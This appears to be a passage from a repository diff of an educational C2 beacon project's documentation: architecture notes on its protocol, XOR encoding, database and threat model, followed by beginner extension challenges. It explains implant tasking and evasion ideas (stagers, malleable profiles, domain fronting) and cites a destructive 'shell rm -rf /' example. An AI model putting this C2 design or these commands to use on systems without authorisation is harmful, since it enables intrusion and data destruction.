Every message between the beacon and server follows the same envelope structure: a `type` string and a `payload` dictionary. Here are all five message types:
|
||||
|
||||
| Type | Direction | Payload Fields | Purpose |
|
||||
|------|-----------|----------------|---------|
|
||||
| REGISTER | Beacon -> Server | hostname, os, username, pid, internal_ip, arch, id | Initial handshake when beacon first connects |
|
||||
| HEARTBEAT | Beacon -> Server | id | Keep-alive signal, updates last_seen timestamp |
|
||||
| TASK | Server -> Beacon | id, command, args | Delivers a command for the beacon to execute |
|
||||
| RESULT | Beacon -> Server | task_id, output, error | Returns command output back to the server |
|
||||
| ERROR | Either direction | message | Reports a protocol or execution error |
|
||||
|
||||
The `Message` model in `backend/app/core/protocol.py` uses a Pydantic `BaseModel` with `type: MessageType` (a StrEnum) and `payload: dict[str, Any]`. The StrEnum means the type field is validated against the known set of message types during unpacking. If a beacon sends a message with `"type": "BOGUS"`, Pydantic's validation catches it and the server raises a ValueError.
|
||||
|
||||
### Encoding Pipeline
|
||||
|
||||
The beacon-server channel and the operator-server channel use different encoding strategies:
|
||||
|
||||
```
|
||||
Beacon <-> Server
|
||||
JSON string -> UTF-8 bytes -> XOR(key) -> Base64 -> WebSocket text frame
|
||||
|
||||
Server <-> Operator
|
||||
JSON string -> WebSocket text frame (no encoding)
|
||||
```
|
||||
|
||||
The beacon-server channel runs XOR+Base64 encoding on every message. The `encode()` function in `backend/app/core/encoding.py` takes a plaintext JSON string, converts it to UTF-8 bytes, XORs each byte against the corresponding byte of the repeating key, and Base64-encodes the result into an ASCII string suitable for a WebSocket text frame. The `decode()` function reverses this: Base64 decode, XOR with the same key, UTF-8 decode.
|
||||
|
||||
The operator-server channel sends plain JSON. No encoding at all.
|
||||
|
||||
Why the difference? The beacon-server channel simulates encrypted C2 communications. In a real C2 framework, this channel would use AES-256 or ChaCha20 with a per-session key negotiated through an asymmetric key exchange. Our XOR cipher is a placeholder that demonstrates the concept without the complexity of real cryptography. It shows where encoding happens in the pipeline, how symmetric keys work, and why you need the same key on both sides.
|
||||
|
||||
The operator-server channel skips encoding because the operator is a trusted party operating on the same infrastructure. The operator dashboard connects through nginx on the same Docker network. There is no untrusted network between them, so encoding the messages would add latency and complexity with no security benefit. In a production C2, you would still want TLS on this channel, but the application-layer encoding that protects beacon traffic is unnecessary for operator traffic.
|
||||
|
||||
### Why XOR and Not AES
|
||||
|
||||
XOR with a repeating key is one of the weakest ciphers that exists. It is vulnerable to known-plaintext attacks, frequency analysis, and key recovery if you know any part of the plaintext. We chose it deliberately because:
|
||||
|
||||
- It is easy to understand. You can trace through the encoding by hand with a calculator.
|
||||
- It is symmetric. The same function encrypts and decrypts.
|
||||
- It demonstrates the full pipeline. The encode/decode/pack/unpack functions would have the same signatures with AES.
|
||||
- Swapping it for a real cipher later requires changing exactly two functions in `encoding.py` and their equivalents in the beacon.
|
||||
|
||||
The key is configured in `.env` as `XOR_KEY` and loaded through Pydantic Settings in `backend/app/config.py`. The beacon reads it from the `C2_XOR_KEY` environment variable. Both sides must have the same key, which is the fundamental property of symmetric encryption.
|
||||
|
||||
---
|
||||
|
||||
## Database Schema
|
||||
|
||||
The database has three tables with foreign key relationships:
|
||||
|
||||
```
|
||||
beacons (id PK) <--- tasks (beacon_id FK) <--- task_results (task_id FK)
|
||||
```
|
||||
|
||||
### beacons
|
||||
|
||||
```sql
|
||||
CREATE TABLE IF NOT EXISTS beacons (
|
||||
id TEXT PRIMARY KEY,
|
||||
hostname TEXT NOT NULL,
|
||||
os TEXT NOT NULL,
|
||||
username TEXT NOT NULL,
|
||||
pid INTEGER NOT NULL,
|
||||
internal_ip TEXT NOT NULL,
|
||||
arch TEXT NOT NULL,
|
||||
first_seen TEXT NOT NULL,
|
||||
last_seen TEXT NOT NULL
|
||||
);
|
||||
```
|
||||
|
||||
Each row is a beacon that has connected at least once. The `id` is a UUID generated by the beacon on first run. `first_seen` is set on initial registration and never updated. `last_seen` is updated on every heartbeat and on disconnect. The remaining columns capture the system metadata the beacon collected during registration.
|
||||
|
||||
Registration uses INSERT with ON CONFLICT(id) DO UPDATE, so if a beacon reconnects with the same ID, the metadata gets refreshed but `first_seen` is preserved from the original row.
|
||||
|
||||
### tasks
|
||||
|
||||
```sql
|
||||
CREATE TABLE IF NOT EXISTS tasks (
|
||||
id TEXT PRIMARY KEY,
|
||||
beacon_id TEXT NOT NULL,
|
||||
command TEXT NOT NULL,
|
||||
args TEXT,
|
||||
status TEXT NOT NULL DEFAULT 'pending',
|
||||
created_at TEXT NOT NULL,
|
||||
completed_at TEXT,
|
||||
FOREIGN KEY (beacon_id) REFERENCES beacons(id)
|
||||
);
|
||||
```
|
||||
|
||||
Each row is a task submitted by an operator for a specific beacon. The `id` is a server-generated UUID. `command` is one of the `CommandType` enum values (shell, sysinfo, proclist, etc.). `args` is an optional string payload whose meaning depends on the command type. For a shell command, it is the shell command string. For an upload, it is a JSON blob with filename and content. For sleep, it is a JSON blob with interval and jitter.
|
||||
|
||||
`status` starts as `'pending'` and transitions to `'completed'` when a result comes back. `created_at` is set at submission time, `completed_at` is set when the result is stored.
|
||||
|
||||
### task_results
|
||||
|
||||
```sql
|
||||
CREATE TABLE IF NOT EXISTS task_results (
|
||||
id TEXT PRIMARY KEY,
|
||||
task_id TEXT NOT NULL UNIQUE,
|
||||
output TEXT,
|
||||
error TEXT,
|
||||
created_at TEXT NOT NULL,
|
||||
FOREIGN KEY (task_id) REFERENCES tasks(id)
|
||||
);
|
||||
```
|
||||
|
||||
Each row is the result of a completed task. The `task_id` foreign key is UNIQUE, enforcing a one-to-one relationship with the tasks table (each task produces exactly one result). `output` contains the command's stdout or structured JSON, depending on the command type. `error` contains stderr or an error message. Both can be NULL.
|
||||
|
||||
### Why SQLite with WAL Mode
|
||||
|
||||
SQLite is the right choice for this project for several reasons:
|
||||
|
||||
**Single server, single writer.** Our C2 server is one process. There is no cluster of backend instances competing for database access. SQLite handles single-writer workloads perfectly.
|
||||
|
||||
**WAL mode handles concurrent reads.** The backend is async, so multiple coroutines might read the database simultaneously (an operator querying the beacon list while the server is processing a heartbeat). WAL mode allows concurrent readers without blocking, which the default rollback journal mode does not. The `init_db()` function in `database.py` enables WAL with `PRAGMA journal_mode=WAL`.
|
||||
|
||||
**Zero configuration.** SQLite is embedded in the Python process. There is no separate database server to configure, no connection pooling to tune, no network latency between the application and the database. The database is a single file at `backend/data/c2.db`.
|
||||
|
||||
**Good enough for educational scope.** A production C2 framework that needs to support multiple team servers, geographic distribution, or hundreds of concurrent beacons would use PostgreSQL. For a single-server educational project, SQLite keeps the focus on C2 architecture instead of database administration.
|
||||
|
||||
---
|
||||
|
||||
## Design Decisions
|
||||
|
||||
### Why WebSockets Over HTTP Polling
|
||||
|
||||
A C2 system needs bidirectional communication. The server needs to push tasks to beacons as soon as an operator submits them, and beacons need to push results back as they complete. There are a few ways to achieve this:
|
||||
|
||||
**HTTP polling** means the beacon sends a GET request every N seconds asking "do you have a task for me?" This works, and many real C2 frameworks use it because HTTP blends into normal web traffic. The downside is latency: if the polling interval is 30 seconds, a task might wait up to 30 seconds before the beacon picks it up.
|
||||
|
||||
**HTTP long polling** improves latency by having the server hold the request open until a task is available. This is better, but managing held connections adds complexity and each pending request consumes a server thread or connection slot.
|
||||
|
||||
**WebSockets** give us a persistent, full-duplex connection. The server can push a task to the beacon the instant it arrives, with zero polling latency. The beacon can send heartbeats and results at any time without opening new connections.
|
||||
|
||||
We chose WebSockets because they simplify the architecture. One connection, bidirectional, always open. The trade-off is operational security: a persistent WebSocket connection to a fixed endpoint (`/api/ws/beacon`) is easier for network security tools to detect than periodic HTTP requests that look like normal web browsing. A production C2 would offer both options and let the operator choose based on the target environment.
|
||||
|
||||
### Why SQLite Over PostgreSQL
|
||||
|
||||
Covered in the database schema section above. The short version: single server, single writer, WAL handles concurrent reads, zero configuration, appropriate for the educational scope.
|
||||
|
||||
### Why Zustand Over React Context
|
||||
|
||||
The frontend state management uses Zustand instead of React Context. There are concrete reasons for this:
|
||||
|
||||
**No provider wrapper.** React Context requires wrapping your component tree in a `<Provider>`. Zustand stores are module-level singletons. You import `useC2Store` and call it. This keeps the component tree clean and avoids provider nesting issues when you have multiple stores.
|
||||
|
||||
**Selector-based subscriptions.** With React Context, any update to the context value re-renders every component that consumes it. Zustand lets components subscribe to specific slices of state. The dashboard only subscribes to the beacons object. The session page only subscribes to task results. When a heartbeat updates a beacon's `last_seen`, the session page does not re-render.
|
||||
|
||||
**`useShallow` for derived arrays.** The `useBeacons` selector in `frontend/src/core/ws.ts` uses `useShallow` to wrap `Object.values(s.beacons)`. Without `useShallow`, `Object.values()` would create a new array reference on every store update, causing the component to re-render in an infinite loop even if the actual beacon data has not changed. `useShallow` performs a shallow comparison of the array elements and only returns a new reference if the contents actually differ.
|
||||
|
||||
**DevTools support.** The store is wrapped in Zustand's `devtools` middleware with `name: 'C2Store'`. This means you can open the Redux DevTools browser extension and inspect every state change, which is invaluable when debugging WebSocket message handling.
|
||||
|
||||
### Why Per-Beacon Task Queues
|
||||
|
||||
The `TaskManager` in `backend/app/beacon/tasking.py` maintains a separate `asyncio.Queue` for each beacon ID. When an operator submits a task for beacon A, it goes into beacon A's queue. Beacon B's queue is unaffected.
|
||||
|
||||
This design has several benefits:
|
||||
|
||||
**Independent delivery.** If beacon A is slow or disconnected, tasks for beacon B are not blocked. Each beacon's `_send_tasks` coroutine in `beacon/router.py` blocks on its own queue independently.
|
||||
|
||||
**Clean disconnection handling.** When a beacon disconnects, `task_manager.remove_queue(beacon_id)` drops the queue and any pending tasks in it. This prevents memory leaks from accumulating tasks for dead beacons.
|
||||
|
||||
**Simple ordering.** asyncio.Queue is FIFO, so tasks for a given beacon are delivered in the order they were submitted. There is no need for priority logic or sorting.
|
||||
|
||||
The alternative would be a single shared queue with filtering, or a database polling approach where the `_send_tasks` coroutine queries SQLite for pending tasks. The per-beacon queue approach is simpler, faster (no database queries in the hot path), and naturally maps to the one-coroutine-per-beacon architecture.
|
||||
|
||||
### Why Dual Coroutine Pattern (send + receive)
|
||||
|
||||
The beacon WebSocket handler in `backend/app/beacon/router.py` runs two coroutines concurrently for each beacon connection:
|
||||
|
||||
- `_send_tasks` blocks on `task_manager.get_next()` and sends TASK messages to the beacon.
|
||||
- `_receive_messages` blocks on `ws.receive_text()` and processes HEARTBEAT and RESULT messages from the beacon.
|
||||
|
||||
These run under `asyncio.wait` with `return_when=FIRST_COMPLETED`:
|
||||
|
||||
```python
|
||||
done, pending = await asyncio.wait(
|
||||
[send_task, recv_task],
|
||||
return_when=asyncio.FIRST_COMPLETED,
|
||||
)
|
||||
|
||||
for task in pending:
|
||||
task.cancel()
|
||||
```
|
||||
|
||||
This pattern is the standard way to handle bidirectional WebSocket communication in asyncio. Here is why both coroutines are necessary:
|
||||
|
||||
**`_send_tasks` must block independently.** It needs to await the task queue, which could take minutes or hours if no operator submits a task. You cannot interleave this with receiving messages in the same coroutine without complicated select/poll logic.
|
||||
|
||||
**`_receive_messages` must block independently.** It needs to await the next WebSocket frame, which could be a heartbeat every few seconds or a result after a long-running command.
|
||||
|
||||
**FIRST_COMPLETED handles disconnection.** If the beacon disconnects, `ws.receive_text()` raises `WebSocketDisconnect`, which terminates `_receive_messages`. The `asyncio.wait` returns immediately, the pending `_send_tasks` coroutine gets cancelled, and the `finally` block in the main handler cleans up the registry and task queue. The reverse works too: if `_send_tasks` fails (perhaps because `ws.send_text()` raises on a dead connection), it completes first and `_receive_messages` gets cancelled.
|
||||
|
||||
---
|
||||
|
||||
## Security Architecture
|
||||
|
||||
### Threat Model
|
||||
|
||||
This is an educational project, so the threat model is intentionally limited. Here is what we protect against, what we simulate, and what we deliberately leave open:
|
||||
|
||||
**What we simulate protecting against:**
|
||||
|
||||
- **Network eavesdropping.** The XOR+Base64 encoding on the beacon-server channel simulates transport encryption. If someone captures the WebSocket traffic, they see Base64 strings instead of plaintext JSON. Of course, XOR with a known-length repeating key is trivially breakable. The point is to demonstrate where encoding sits in the protocol stack, not to provide real confidentiality.
|
||||
- **Message integrity.** The `unpack()` function validates incoming messages against the Pydantic schema. A malformed or garbage message gets rejected with a ValueError. This prevents basic protocol confusion, though it does nothing against a sophisticated attacker who knows the protocol format.
|
||||
- **Beacon identity.** The shared XOR key acts as a weak form of authentication. If you do not have the key, your REGISTER message will not decode correctly and the server will reject it. This simulates the concept of pre-shared key authentication, even though the actual implementation is weak.
|
||||
|
||||
**What we intentionally do not protect against:**
|
||||
|
||||
- **Reverse engineering.** The beacon is a plaintext Python script. Anyone with access to the file can read the source, extract the XOR key, and understand the protocol completely.
|
||||
- **EDR/AV detection.** The beacon makes no attempt to evade endpoint detection. It uses standard Python libraries, standard process names, and standard network calls.
|
||||
- **Traffic analysis.** The WebSocket endpoint is always `/api/ws/beacon`. The heartbeat interval is predictable (even with jitter). A network analyst could easily fingerprint this traffic.
|
||||
- **Key extraction from memory.** The XOR key sits in plaintext in the beacon's process memory. A memory dump reveals it immediately.
|
||||
- **Operator authentication.** Anyone who can reach the `/api/ws/operator` endpoint can connect as an operator and issue commands. There is no login, no token, no access control. This is an intentional simplification.
|
||||
|
||||
### What a Production C2 Would Add
|
||||
|
||||
If you were building a real C2 framework (for authorized red team operations), you would add layers that we skip here:
|
||||
|
||||
**TLS for transport encryption.** All traffic would go over HTTPS/WSS. This provides real confidentiality and integrity at the transport layer, and it makes the C2 traffic blend in with normal HTTPS traffic.
|
||||
|
||||
**Certificate pinning.** The beacon would validate the server's TLS certificate against a pinned hash, preventing man-in-the-middle attacks even if the target environment has a corporate TLS interception proxy.
|
||||
|
||||
**Asymmetric key exchange.** Instead of a pre-shared XOR key, the beacon and server would negotiate a session key using RSA or ECDH. This provides forward secrecy: compromising one session key does not reveal past or future communications.
|
||||
|
||||
**Operator authentication.** The operator dashboard would require authentication (username/password, client certificates, or TOTP). Role-based access control would limit which operators can access which beacons.
|
||||
|
||||
**Beacon staging.** Instead of deploying the full beacon as a Python script, a production C2 uses a small "stager" that downloads the full payload from the server, decrypts it in memory, and executes it without touching disk. This reduces the file-based detection surface.
|
||||
|
||||
**Malleable C2 profiles.** Tools like Cobalt Strike let operators define "profiles" that reshape C2 traffic to look like legitimate web services (Slack API calls, Google Analytics beacons, etc.). This defeats signature-based network detection.
|
||||
|
||||
**Domain fronting or CDN hiding.** The beacon connects to a legitimate CDN domain (like cloudfront.net), and the CDN routes the request to the actual C2 server based on the Host header. From the network's perspective, the beacon is just talking to a CDN.
|
||||
|
||||
---
|
||||
|
||||
## Deployment Architecture
|
||||
|
||||
### Development Stack
|
||||
|
||||
The development stack is defined in `dev.compose.yml` and optimized for live editing with hot reload on every component:
|
||||
|
||||
```
|
||||
dev.compose.yml
|
||||
├── nginx (nginx:1.27-alpine, port 47430)
|
||||
│ └── volumes: dev.nginx config (read-only)
|
||||
├── frontend (Vite dev server, port 5173)
|
||||
│ └── volumes: ./frontend mounted, node_modules in named volume
|
||||
└── backend (uvicorn --reload, port 8000)
|
||||
└── volumes: ./backend mounted, .venv in named volume
|
||||
```
|
||||
|
||||
**Nginx** uses the stock `nginx:1.27-alpine` image with the development config mounted in. It proxies to both the Vite dev server and the FastAPI backend.
|
||||
|
||||
**Frontend** builds from `infra/docker/vite.dev` and runs `pnpm dev` with Vite's HMR (Hot Module Replacement) server on port 5173. The source directory `./frontend` is bind-mounted into the container, so any file change on your host triggers an instant browser refresh. The `node_modules` directory lives in a Docker named volume (`frontend_modules`) to avoid platform-specific binary conflicts between your host OS and the container's Linux.
|
||||
|
||||
**Backend** builds from `infra/docker/fastapi.dev` and runs uvicorn with `--reload` enabled. The source directory `./backend` is bind-mounted, so Python file changes trigger an automatic server restart. The `.venv` directory lives in a named volume (`backend_cache`) for the same platform isolation reason. Environment variables set `ENVIRONMENT=development`, `DEBUG=true`, and `RELOAD=true`.
|
||||
|
||||
The development compose uses Docker's `depends_on` with health checks to ensure the backend is ready before nginx starts proxying to it. The backend health check hits `http://localhost:8000/health` every 10 seconds with a 30-second startup grace period.
|
||||
|
||||
### Production Stack
|
||||
|
||||
The production stack is defined in `compose.yml` and differs from development in several ways:
|
||||
|
||||
```
|
||||
compose.yml
|
||||
├── nginx (multi-stage build, port 47430)
|
||||
│ └── Built frontend static files baked into image
|
||||
└── backend (gunicorn, port 8000)
|
||||
└── SQLite data in named volume (c2_data)
|
||||
```
|
||||
|
||||
**Nginx** uses a multi-stage build defined in `infra/docker/frontend-builder.prod`. The first stage installs pnpm, runs `pnpm build`, and produces the static frontend files. The second stage copies those files into an nginx image with the production config (`prod.nginx`). There is no separate frontend container in production. Nginx serves the built files directly, which is faster and uses fewer resources.
|
||||
|
||||
**Backend** builds from `infra/docker/fastapi.prod` and runs with `ENVIRONMENT=production`, `DEBUG=false`, `RELOAD=false`. The SQLite database lives in a Docker named volume (`c2_data`) so it persists across container restarts. Resource limits are set: the backend gets up to 2 CPUs and 1GB RAM, nginx gets up to 1 CPU and 256MB RAM.
|
||||
|
||||
The production nginx config (`prod.nginx`) adds security headers (X-Frame-Options, X-Content-Type-Options, X-XSS-Protection, Referrer-Policy, Permissions-Policy), aggressive caching for static assets (1 year for `/assets/` with immutable), and tighter rate limits (burst=20 vs burst=50 in dev).
|
||||
|
||||
---
|
||||
|
||||
## Key Files Reference
|
||||
|
||||
Quick lookup table mapping concepts to their implementation files:
|
||||
|
||||
| Concept | File |
|
||||
|---------|------|
|
||||
| XOR encoding | `backend/app/core/encoding.py` |
|
||||
| Protocol messages | `backend/app/core/protocol.py` |
|
||||
| Data models | `backend/app/core/models.py` |
|
||||
| Beacon WebSocket handler | `backend/app/beacon/router.py` |
|
||||
| Task queue management | `backend/app/beacon/tasking.py` |
|
||||
| Beacon registry | `backend/app/beacon/registry.py` |
|
||||
| Operator REST + WebSocket | `backend/app/ops/router.py` |
|
||||
| Operator broadcast manager | `backend/app/ops/manager.py` |
|
||||
| App factory + lifespan | `backend/app/__main__.py` |
|
||||
| Configuration (Pydantic Settings) | `backend/app/config.py` |
|
||||
| Database schema + connection | `backend/app/database.py` |
|
||||
| Beacon implant | `beacon/beacon.py` |
|
||||
| Frontend Zustand store + WebSocket | `frontend/src/core/ws.ts` |
|
||||
| Frontend Zod schemas + types | `frontend/src/core/types.ts` |
|
||||
| Frontend route + endpoint config | `frontend/src/config.ts` |
|
||||
| Nginx dev config | `infra/nginx/dev.nginx` |
|
||||
| Nginx prod config | `infra/nginx/prod.nginx` |
|
||||
| Nginx shared base config | `infra/nginx/nginx.conf` |
|
||||
| Development Docker Compose | `dev.compose.yml` |
|
||||
| Production Docker Compose | `compose.yml` |
|
||||
|
||||
---
|
||||
|
||||
**Next up:** [03-PROTOCOL-DEEP-DIVE.md](./03-PROTOCOL-DEEP-DIVE.md) will step through the encoding pipeline byte by byte, show you XOR in action with real data, and explain how to break it.
|
||||
File diff suppressed because it is too large
Load Diff
|
|
@ -0,0 +1,653 @@
|
|||
<!-- © AngelaMos | 2026 | 04-CHALLENGES.md -->
|
||||
|
||||
# Extension Challenges
|
||||
|
||||
These challenges extend the C2 beacon project with real features found in production command-and-control frameworks. They are ordered by difficulty, and each one references actual files in this project. Read the referenced code before you start. The hints point you in the right direction without giving you the full solution.
|
||||
|
||||
Each challenge references real functions, real class names, and real file paths. If a hint says "look at `COMMAND_HANDLERS` in `beacon.py`," go read that dictionary. The code is the source of truth.
|
||||
|
||||
---
|
||||
|
||||
## Easy Challenges
|
||||
|
||||
---
|
||||
|
||||
### Challenge 1: Add a `pwd` Command
|
||||
|
||||
**What to build:** A new command that returns the beacon's current working directory to the operator.
|
||||
|
||||
**Why it matters:** Every real C2 framework supports directory awareness. Cobalt Strike, Sliver, and Metasploit all have `pwd` and `cd` commands because operators need to know where file operations will land. Without `pwd`, if you run `download notes.txt`, you have no idea which `notes.txt` you are grabbing.
|
||||
|
||||
**What you will learn:**
|
||||
- How new commands propagate through the entire stack (beacon handler, backend enum, frontend types, UI)
|
||||
- The full lifecycle of a command: frontend submission, WebSocket relay, beacon execution, result return
|
||||
|
||||
**Where to start reading:**
|
||||
|
||||
The command dispatch system is in `beacon/beacon.py`. Look at the `COMMAND_HANDLERS` dictionary at line 419. Every command maps a string key to an async handler function. The `dispatch` function at line 433 does the routing: it looks up the command string in the dictionary and calls the matching handler.
|
||||
|
||||
On the backend, `backend/app/core/models.py:12-26` defines `CommandType` as a `StrEnum`. Every supported command must be listed here or the Pydantic validation at `backend/app/ops/router.py:60` will reject it.
|
||||
|
||||
On the frontend, `frontend/src/core/types.ts:8-19` mirrors the enum as a Zod schema. The session page at `frontend/src/pages/session/index.tsx:19-30` has a `COMMANDS` array that controls which commands the input parser accepts.
|
||||
|
||||
**Hints:**
|
||||
|
||||
1. The beacon handler is trivial. Python's `os.getcwd()` returns the current working directory as a string. Your handler should follow the same return pattern as the other handlers: `{"output": ..., "error": None}`.
|
||||
|
||||
2. You need to touch four files in this order:
|
||||
- Add `PWD = "pwd"` to the `CommandType` enum in `backend/app/core/models.py`
|
||||
- Add `'pwd'` to the Zod enum array in `frontend/src/core/types.ts`
|
||||
- Add `'pwd'` to the `COMMANDS` array in `frontend/src/pages/session/index.tsx`
|
||||
- Add the handler function and its entry in `COMMAND_HANDLERS` in `beacon/beacon.py`
|
||||
|
||||
3. Look at `handle_sysinfo` at `beacon/beacon.py:153` for the pattern. Your handler will be much simpler, about 3 lines.
|
||||
|
||||
**Files to modify:**
|
||||
- `beacon/beacon.py`
|
||||
- `backend/app/core/models.py`
|
||||
- `frontend/src/core/types.ts`
|
||||
- `frontend/src/pages/session/index.tsx`
|
||||
|
||||
**How to test:**
|
||||
- Start the full stack with Docker
|
||||
- Connect a beacon
|
||||
- Type `pwd` in the session terminal
|
||||
- Verify you get back a directory path like `/home/yoshi/dev/...`
|
||||
|
||||
---
|
||||
|
||||
### Challenge 2: Add Beacon Uptime Display
|
||||
|
||||
**What to build:** Show how long each beacon has been connected as a new column in the dashboard table. Display it as a human-readable duration like "2h 15m" or "3d 6h".
|
||||
|
||||
**Why it matters:** Operators in real C2 engagements need to quickly assess which beacons are fresh versus long-running. A beacon that has been alive for 5 days is more valuable than one that connected 30 seconds ago, because it has survived reboots, AV scans, and network changes. Uptime at a glance changes how operators prioritize targets.
|
||||
|
||||
**What you will learn:**
|
||||
- Reading from existing data models without modifying the backend
|
||||
- Date arithmetic in JavaScript
|
||||
- Extending React table components
|
||||
|
||||
**Where to start reading:**
|
||||
|
||||
The `BeaconRecord` model already has everything you need. Look at `frontend/src/core/types.ts:22-34`. The `first_seen` field is an ISO 8601 timestamp string set when the beacon first registered. The `last_seen` field updates on every heartbeat.
|
||||
|
||||
The dashboard table is in `frontend/src/pages/dashboard/index.tsx`. The `BeaconRow` component at line 43 renders one row per beacon. The table headers are at lines 120-128. There is already a `formatRelativeTime` function at line 14 that converts ISO timestamps to relative strings like "5s ago" or "2h ago". You can use a similar approach, or compute `Date.now() - new Date(beacon.first_seen).getTime()` to get the uptime in milliseconds.
|
||||
|
||||
The dashboard already has a 1-second tick interval at lines 95-98 that forces re-renders, so your uptime display will update automatically every second.
|
||||
|
||||
**Hints:**
|
||||
|
||||
1. The uptime is the difference between now and `first_seen`. Subtraction gives you milliseconds. Convert to hours and minutes for display.
|
||||
|
||||
2. Add a new `<th>Uptime</th>` in the table header and a matching `<td>` in `BeaconRow`. Put it before the "Last Seen" column.
|
||||
|
||||
3. Write a `formatUptime` function that takes an ISO string and returns something like "4h 22m" or "1d 3h". Do not overthink it: divide milliseconds by the appropriate constants (1000 for seconds, 60 for minutes, etc.).
|
||||
|
||||
**Files to modify:**
|
||||
- `frontend/src/pages/dashboard/index.tsx`
|
||||
|
||||
**How to test:**
|
||||
- Start the stack, connect a beacon
|
||||
- Verify the uptime column shows "0s" or "1s" initially
|
||||
- Wait a few minutes and verify it updates
|
||||
- Refresh the page and verify it still shows the correct uptime (because `first_seen` is persisted in SQLite)
|
||||
|
||||
---
|
||||
|
||||
### Challenge 3: Add a `clear` Terminal Command
|
||||
|
||||
**What to build:** A client-side `clear` command that empties the terminal output in the session page, like running `clear` in a real terminal.
|
||||
|
||||
**Why it matters:** When you are running dozens of commands during an engagement, the terminal fills up fast. Operators need to clear their view without losing the ability to run new commands. This is also a good exercise in understanding which commands are client-side-only versus which ones travel to the beacon.
|
||||
|
||||
**What you will learn:**
|
||||
- Client-side command interception (handling commands before they hit the network)
|
||||
- The difference between client-side and server-side command processing
|
||||
- React state manipulation
|
||||
|
||||
**Where to start reading:**
|
||||
|
||||
The `handleSubmit` function at `frontend/src/pages/session/index.tsx:174` is where every command starts. It calls `parseInput` (line 39) to validate the command, then calls `handleSend` (line 164) which adds a terminal entry and sends the task over the WebSocket via `sendTask`.
|
||||
|
||||
The terminal output is stored in the `entries` state array at line 145. Calling `setEntries([])` clears all terminal entries.
|
||||
|
||||
The `parseInput` function at line 39 checks if the typed command is in the `COMMANDS` array. If the command is not found, it returns `null` and `handleSubmit` does nothing.
|
||||
|
||||
**Hints:**
|
||||
|
||||
1. `clear` should NOT be added to the `COMMANDS` array, the `CommandType` enum, or the backend models. It never leaves the frontend.
|
||||
|
||||
2. Intercept `clear` inside `handleSubmit` BEFORE the `parseInput` call. Check if `input.trim() === 'clear'`, and if so, call `setEntries([])`, clear the input, and return early.
|
||||
|
||||
3. You might also want to add `clear` as a recognized command in the autocomplete suggestions. The `handleInputChange` function at line 223 filters the `COMMANDS` array for suggestions. You could create a separate `CLIENT_COMMANDS` array or just hardcode the check.
|
||||
|
||||
**Files to modify:**
|
||||
- `frontend/src/pages/session/index.tsx`
|
||||
|
||||
**How to test:**
|
||||
- Open a session, run a few commands
|
||||
- Type `clear` and press Enter
|
||||
- Verify the terminal empties
|
||||
- Run new commands and verify they appear normally
|
||||
- Verify no network request was sent (check the WebSocket frames in DevTools)
|
||||
|
||||
---
|
||||
|
||||
### Challenge 4: Add Connection Count to Header
|
||||
|
||||
**What to build:** Display the number of connected operators somewhere in the dashboard header. Something like "2 operators connected" next to the beacon count.
|
||||
|
||||
**Why it matters:** In a team engagement, multiple operators may be connected to the same C2 server. Knowing how many people are active helps coordinate. If you see "0 operators" while you expected your teammate to be online, something is wrong, either their connection dropped or something is intercepting traffic.
|
||||
|
||||
**What you will learn:**
|
||||
- Adding REST endpoints to the FastAPI backend
|
||||
- Fetching data from the backend in React components
|
||||
- The relationship between the OpsManager and the operator WebSocket
|
||||
|
||||
**Where to start reading:**
|
||||
|
||||
The `OpsManager` class at `backend/app/ops/manager.py:15` already tracks connections. The `connection_count` property at line 56 returns `len(self._connections)`. The operator REST router at `backend/app/ops/router.py` has endpoints starting at line 94.
|
||||
|
||||
The dashboard component at `frontend/src/pages/dashboard/index.tsx:100` renders a header section at lines 103-112 that already shows the beacon count.
|
||||
|
||||
**Hints:**
|
||||
|
||||
1. The simplest approach: add a new REST endpoint to `backend/app/ops/router.py`. Something like `GET /api/operators/count` that returns `{"count": ops_manager.connection_count}`. Access the ops_manager from `request.app.state.ops_manager`.
|
||||
|
||||
2. On the frontend, fetch this endpoint with a `useEffect` on mount. Store the result in local state. Display it next to the existing beacon count in the header.
|
||||
|
||||
3. An alternative approach that avoids polling: include the operator count in the initial `beacon_list` WebSocket payload at `backend/app/ops/router.py:46-49`. Add an `operator_count` field. This way it arrives immediately on connect without an extra HTTP request. But it will not update in real time unless you also broadcast count changes.
|
||||
|
||||
4. Consider which approach gives better real-time accuracy. The REST endpoint only updates when the user refreshes or you poll. The WebSocket approach updates whenever you broadcast it. A hybrid approach works well: send the count on initial connect, and broadcast updates whenever an operator connects or disconnects.
|
||||
|
||||
**Files to modify:**
|
||||
- `backend/app/ops/router.py`
|
||||
- `frontend/src/pages/dashboard/index.tsx`
|
||||
- Optionally: `frontend/src/core/ws.ts` and `frontend/src/core/types.ts` (if using the WebSocket approach)
|
||||
|
||||
---
|
||||
|
||||
## Intermediate Challenges
|
||||
|
||||
---
|
||||
|
||||
### Challenge 5: Add Operator Authentication
|
||||
|
||||
**What to build:** Require a password before allowing WebSocket connections from operators. If the password is wrong, close the connection immediately with a 4001 status code.
|
||||
|
||||
**Why it matters:** Right now, anyone who can reach the C2 server's WebSocket endpoint can connect as an operator and control every beacon. In a real engagement, this means a defender who discovers the C2 server can send `shell rm -rf /` to every beacon or simply watch all task results. Every production C2 framework has operator authentication. Cobalt Strike uses team passwords. Sliver uses mutual TLS with operator certificates.
|
||||
|
||||
**What you will learn:**
|
||||
- WebSocket authentication patterns
|
||||
- Environment variable-based configuration
|
||||
- Securing a protocol that was designed without auth
|
||||
|
||||
**Where to start reading:**
|
||||
|
||||
The operator WebSocket handler is at `backend/app/ops/router.py:25-91`. The connection flow is: `ops_manager.connect(ws)` accepts the WebSocket at line 34, then immediately sends the beacon list at lines 36-49, then enters a message receive loop at line 51.
|
||||
|
||||
The `Settings` class at `backend/app/config.py:17` loads configuration from environment variables using Pydantic settings. The `XOR_KEY` field at line 41 shows the pattern for adding new config values with defaults.
|
||||
|
||||
The frontend WebSocket connection is established at `frontend/src/core/ws.ts:166-167`. The `connect` function creates a new `WebSocket` and sets up event handlers. Currently, no authentication data is sent on connect.
|
||||
|
||||
**Hints:**
|
||||
|
||||
1. Add an `AUTH_KEY` field to the `Settings` class in `backend/app/config.py`. Give it a default value for development, like `"operator-default-key"`. Load it from the `AUTH_KEY` environment variable.
|
||||
|
||||
2. In the operator WebSocket handler at `router.py:25`, BEFORE calling `ops_manager.connect(ws)`, accept the connection manually with `await ws.accept()`, then wait for the first message. If it matches `settings.AUTH_KEY`, proceed normally. If not, call `await ws.close(code=4001, reason="Unauthorized")` and return.
|
||||
|
||||
